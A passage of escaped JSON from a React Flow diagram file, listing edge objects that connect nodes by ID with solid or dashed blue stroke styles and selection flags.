 \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"Hk61DnFkfaeuxO2LSupMS\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"AGBawBPz_1Y9LnBgStGG_\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"selected\": true,\n      \"id\": \"reactflow__edge-Hk61DnFkfaeuxO2LSupMSy2-AGBawBPz_1Y9LnBgStGG_z1\",\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"AGBawBPz_1Y9LnBgStGG_\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"MeiyH5JgagSgP24QNKmbK\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-AGBawBPz_1Y9LnBgStGG_y2-MeiyH5JgagSgP24QNKmbKz1\",\n      \"selected\": true,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"KYkZX-u-Pfsjxa6fKUaSH\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"Hk61DnFkfaeuxO2LSupMS\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-KYkZX-u-Pfsjxa6fKUaSHx2-Hk61DnFkfaeuxO2LSupMSw1\",\n      \"selected\": true,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"fmpJB_14CYn7PVuoGZdoz\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"69IgqluiW9cVfezSIKInD\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-YPqdrZguH0ArEFSe-VwKSy2-69IgqluiW9cVfezSIKInDz1\",\n      \"selected\": true,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"fmpJB_14CYn7PVuoGZdoz\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"1HytzY1KRYIQWoQa5FMwY\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-YPqdrZguH0ArEFSe-VwKSy2-1HytzY1KRYIQWoQa5FMwYz1\",\n      \"selected\": true,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"fmpJB_14CYn7PVuoGZdoz\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"gjdCSm_jZmG_q6YjG_8Qu\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-YPqdrZguH0ArEFSe-VwKSx2-gjdCSm_jZmG_q6YjG_8Quw1\",\n      \"selected\": true,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"Eusp5p6gNIxtU_yVvOkmu\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"LkDLk6DsEvbFXZPGOhD0C\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-Eusp5p6gNIxtU_yVvOkmuy2-LkDLk6DsEvbFXZPGOhD0Cz1\",\n      \"selected\": true,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"Eusp5p6gNIxtU_yVvOkmu\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"PBDlYIyS8LAyPE6tV-kU7\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-Eusp5p6gNIxtU_yVvOkmuy2-PBDlYIyS8LAyPE6tV-kU7z1\",\n      \"selected\": true,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"Eusp5p6gNIxtU_yVvOkmu\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"aDhSpLRZ6Sd8SnkcwtyLf\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-Eusp5p6gNIxtU_yVvOkmuy2-aDhSpLRZ6Sd8SnkcwtyLfz1\",\n      \"selected\": true,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"Eusp5p6gNIxtU_yVvOkmu\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"8LAy6uBfrdtrjF8ygAGoo\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-Eusp5p6gNIxtU_yVvOkmux2-8LAy6uBfrdtrjF8ygAGooz1\",\n      \"selected\": true,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"8LAy6uBfrdtrjF8ygAGoo\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"0y8F9x6MhApQkS1VhS8Dx\",\n      \"targetHandle\": \"z2\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-8LAy6uBfrdtrjF8ygAGooy2-0y8F9x6MhApQkS1VhS8Dxz2\",\n      \"selected\": true,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"8LAy6uBfrdtrjF8ygAGoo\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"5kt8AkCsdAdlBmsKOkKFH\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-8LAy6uBfrdtrjF8ygAGooy2-5kt8AkCsdAdlBmsKOkKFHz1\",\n      \"selected\": true,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"8LAy6uBfrdtrjF8ygAGoo\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"a_5AyOKAgcg0rArZfapA_\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-8LAy6uBfrdtrjF8ygAGooy2-a_5AyOKAgcg0rArZfapA_z1\",\n      \"selected\": true,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"8LAy6uBfrdtrjF8ygAGoo\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"VwI7plziVzwkp3KZd4466\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-8LAy6uBfrdtrjF8ygAGooy2-zS_CjYSTOIkJZn-oUEvghz1\",\n      \"selected\": true,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"8LAy6uBfrdtrjF8ygAGoo\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"YPqdrZguH0ArEFSe-VwKS\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-8LAy6uBfrdtrjF8ygAGoox2-YPqdrZguH0ArEFSe-VwKSw1\",\n      \"selected\": true,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"YPqdrZguH0ArEFSe-VwKS\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"tKDlfVvNym_OIqkommiJ8\",\n      \"targetHandle\": \"z2\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-YPqdrZguH0ArEFSe-VwKSy2-tKDlfVvNym_OIqkommiJ8z2\",\n      \"selected\": true,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"YPqdrZguH0ArEFSe-VwKS\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"3MYjrnd6h2ZlcfaXjUbkC\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-YPqdrZguH0ArEFSe-VwKSy2-3MYjrnd6h2ZlcfaXjUbkCz1\",\n      \"selected\": true,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"YPqdrZguH0ArEFSe-VwKS\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"JhhjMPTNb646aQKlS_cji\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-YPqdrZguH0ArEFSe-VwKSy2-GbFbURxIRD76kyR9vKfdgz1\",\n      \"selected\": true,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"KnAlfSHDjLnQ7CMv5W-Ee\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"Eusp5p6gNIxtU_yVvOkmu\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"selected\": true,\n      \"id\": \"reactflow__edge-KnAlfSHDjLnQ7CMv5W-Eex2-Eusp5p6gNIxtU_yVvOkmuw1\",\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"Hk61DnFkfaeuxO2LSupMS\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"KnAlfSHDjLnQ7CMv5W-Ee\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"selected\": true,\n      \"id\": \"reactflow__edge-Hk61DnFkfaeuxO2LSupMSz2-KnAlfSHDjLnQ7CMv5W-Eew1\",\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"YPqdrZguH0ArEFSe-VwKS\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"WbrOaEjm9pVz9U0sq1Sw0\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"selected\": true,\n      \"id\": \"reactflow__edge-YPqdrZguH0ArEFSe-VwKSz2-WbrOaEjm9pVz9U0sq1Sw0y1\",\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"WbrOaEjm9pVz9U0sq1Sw0\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"l-KrmCOKEfpLHq4j-9SoY\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-WbrOaEjm9pVz9U0sq1Sw0x2-m46lX4dUHik_BSHQwaU2lw1\",\n      \"selected\": true,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"l-KrmCOKEfpLHq4j-9SoY\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"DnKHDm0TZ7QQUyrhPdqkV\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-m46lX4dUHik_BSHQwaU2ly2-DnKHDm0TZ7QQUyrhPdqkVz1\",\n      \"selected\": true,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"l-KrmCOKEfpLHq4j-9SoY\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"ZCTSbMHAMSaOxlqaJImzr\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-m46lX4dUHik_BSHQwaU2ly2-ZCTSbMHAMSaOxlqaJImzrz1\",\n      \"selected\": true,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"l-KrmCOKEfpLHq4j-9SoY\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"8srsCEv55zh1y4gsp-rCO\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-m46lX4dUHik_BSHQwaU2ly2-8srsCEv55zh1y4gsp-rCOz1\",\n      \"selected\": true,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"l-KrmCOKEfpLHq4j-9SoY\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"eKJ2XfDxu0NAKA932tbzy\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-m46lX4dUHik_BSHQwaU2ly2-eKJ2XfDxu0NAKA932tbzyz1\",\n      \"selected\": true,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"l-KrmCOKEfpLHq4j-9SoY\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"wuqZntn1ivkr9AV_09zYX\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-m46lX4dUHik_BSHQwaU2ly2-wuqZntn1ivkr9AV_09zYXz1\",\n      \"selected\": true,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"l-KrmCOKEfpLHq4j-9SoY\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"uXseNTJlteD6Fgi1bzQB4\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-m46lX4dUHik_BSHQwaU2ly2-uXseNTJlteD6Fgi1bzQB4z1\",\n      \"selected\": true,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"l-KrmCOKEfpLHq4j-9SoY\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"zS_CjYSTOIkJZn-oUEvgh\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-m46lX4dUHik_BSHQwaU2ly2-zS_CjYSTOIkJZn-oUEvghz1\",\n      \"selected\": true,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"l-KrmCOKEfpLHq4j-9SoY\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"n2AYdM2dlJfuZ97jXY49U\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-l-KrmCOKEfpLHq4j-9SoYx2-m46lX4dUHik_BSHQwaU2lw1\",\n      \"selected\": true,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"n2AYdM2dlJfuZ97jXY49U\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"NG6ks4yOlokMVJ38DyaUP\",\n      \"targetHandle\": \"w2\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"selected\": true,\n      \"id\": \"reactflow__edge-m46lX4dUHik_BSHQwaU2lx2-NG6ks4yOlokMVJ38DyaUPw2\",\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"n2AYdM2dlJfuZ97jXY49U\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"6OjKcLbUZVJdUDC7if0Uy\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"selected\": true,\n      \"id\": \"reactflow__edge-n2AYdM2dlJfuZ97jXY49Uy2-m46lX4dUHik_BSHQwaU2lz1\",\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"6OjKcLbUZVJdUDC7if0Uy\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"1j2ZSo7UGnBgoLpYzsA5t\",\n      \"targetHandle\": \"w2\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-m46lX4dUHik_BSHQwaU2lx2-1j2ZSo7UGnBgoLpYzsA5tw2\",\n      \"selected\": true,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"0AQj2F1n8VKHBwuF4ywrp\",\n      \"sourceHandle\": \"w2\",\n      \"target\": \"xu8A_QKs6lXzKPMiifNF_\",\n      \"targetHandle\": \"x2\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-m46lX4dUHik_BSHQwaU2lw2-xu8A_QKs6lXzKPMiifNF_x2\",\n      \"selected\": true,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"6OjKcLbUZVJdUDC7if0Uy\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"0AQj2F1n8VKHBwuF4ywrp\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-0tJ7zlgOIaioCMmVavfqzy2-m46lX4dUHik_BSHQwaU2lz1\",\n      \"selected\": true,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"0AQj2F1n8VKHBwuF4ywrp\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"m46lX4dUHik_BSHQwaU2l\",\n      \"targetHandle\": \"w2\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-0AQj2F1n8VKHBwuF4ywrpx2-m46lX4dUHik_BSHQwaU2lw2\",\n      \"selected\": true,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"m46lX4dUHik_BSHQwaU2l\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"qy_IXzenBOEVBMvVlXPaY\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-m46lX4dUHik_BSHQwaU2lx2-qy_IXzenBOEVBMvVlXPaYw1\",\n      \"selected\": true,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"0MnqK2-pI7EkwsGy1j1sh\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"DoJCeL_vEXv3aVrLt7P_R\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-0MnqK2-pI7EkwsGy1j1shz2-DoJCeL_vEXv3aVrLt7P_Ry1\",\n      \"selected\": true,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"DoJCeL_vEXv3aVrLt7P_R\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"0tJ7zlgOIaioCMmVavfqz\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-DoJCeL_vEXv3aVrLt7P_Rx2-0tJ7zlgOIaioCMmVavfqzw1\",\n      \"selected\": true,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"0tJ7zlgOIaioCMmVavfqz\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"0FqpBfvnkGN_oE2KSC-_8\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-0tJ7zlgOIaioCMmVavfqzy2-3JY85Tu40ABy9XfoliaqEz1\",\n      \"selected\": true,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"0tJ7zlgOIaioCMmVavfqz\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"kN-UfAbQ8j7g0jDdqWK55\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-0tJ7zlgOIaioCMmVavfqzy2-kJ2HQFEsnc5yISU8d9Llaz1\",\n      \"selected\": true,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"0tJ7zlgOIaioCMmVavfqz\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"B9fgJmzVViaq7dvSuEglb\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-0tJ7zlgOIaioCMmVavfqzy2-v3hKowLMBVq9eCXkUhrDZz1\",\n      \"selected\": true,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"0tJ7zlgOIaioCMmVavfqz\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"gS3ofDrqDRKbecIskIyGi\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"selected\": true,\n      \"id\": \"reactflow__edge-0tJ7zlgOIaioCMmVavfqzz2-zCYM4D6DWfxhb0FNjT2Lyy1\",\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"gS3ofDrqDRKbecIskIyGi\",\n      \"sourceHandle\": \"w2\",\n      \"target\": \"NjLt_B_kV7FdnkOomqayx\",\n      \"targetHandle\": \"x2\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-zCYM4D6DWfxhb0FNjT2Lyw2-mm5yvAaROsbwDgQUfnqylx2\",\n      \"selected\": true,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"lq5Hl1ZXBQRRI_4ywn7yA\",\n      \"sourceHandle\": \"w2\",\n      \"target\": \"3JY85Tu40ABy9XfoliaqE\",\n      \"targetHandle\": \"x1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-lq5Hl1ZXBQRRI_4ywn7yAw2-3JY85Tu40ABy9XfoliaqEx1\",\n      \"selected\": true,\n      